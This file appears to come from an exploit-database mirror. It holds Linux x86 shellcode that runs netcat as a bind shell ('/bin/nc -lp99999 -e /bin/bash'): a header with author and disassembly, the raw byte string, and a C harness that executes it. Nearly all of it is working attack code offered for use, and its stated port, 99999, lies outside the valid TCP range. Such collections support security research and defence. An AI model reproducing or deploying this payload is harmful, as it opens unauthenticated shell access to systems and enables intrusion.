exploit-db-mirror/shellcodes/linux_x86/45821.c

/*
# Exploit Title: Linux/x86 - execve /bin/nc -lp99999 -e /bin/bash shellcode (58 bytes)
# Exploit Description: Binds a TCP bash shell at port 99999 using netcat. Note: This shellcode   uses netcat-traditional package. Otherwise, it will not work.
# Date: 04/11/2018
# Exploit Author: Javier Tello <jtelloal@gmail.com>
# Version: 1.0
# Tested on: i686 GNU/Linux
# Shellcode Length: 58 Bytes


Disassembly of section .text:
 
08048060 <_start>:
 8048060:	31 c0                	xor    %eax,%eax
 8048062:	50                   	push   %eax
 8048063:	68 6e 2f 6e 63       	push   $0x636e2f6e
 8048068:	68 2f 2f 62 69       	push   $0x69622f2f
 804806d:	89 e3                	mov    %esp,%ebx
 804806f:	50                   	push   %eax
 8048070:	68 62 61 73 68       	push   $0x68736162
 8048075:	68 62 69 6e 2f       	push   $0x2f6e6962
 804807a:	68 2d 65 2f 2f       	push   $0x2f2f652d
 804807f:	89 e2                	mov    %esp,%edx
 8048081:	50                   	push   %eax
 8048082:	68 39 39 39 39       	push   $0x39393939
 8048087:	68 2d 6c 70 39       	push   $0x39706c2d
 804808c:	89 e6                	mov    %esp,%esi
 804808e:	50                   	push   %eax
 804808f:	52                   	push   %edx
 8048090:	56                   	push   %esi
 8048091:	53                   	push   %ebx
 8048092:	89 e1                	mov    %esp,%ecx
 8048094:	89 c2                	mov    %eax,%edx
 8048096:	b0 0b                	mov    $0xb,%al
 8048098:	cd 80                	int    $0x80

===============poc by Javier Tello=========================
*/
 
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \

"\x31\xc0\x50\x68\x6e\x2f\x6e\x63\x68\x2f\x2f\x62\x69\x89\xe3\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2d\x65\x2f\x2f\x89\xe2\x50\x68\x39\x39\x39\x39\x68\x2d\x6c\x70\x39\x89\xe6\x50\x52\x56\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";
 
main() {
 
    printf("Shellcode Length: %d\n", strlen(code));
 
    int (*ret)() = (int(*)())code;
 
    ret();
 
}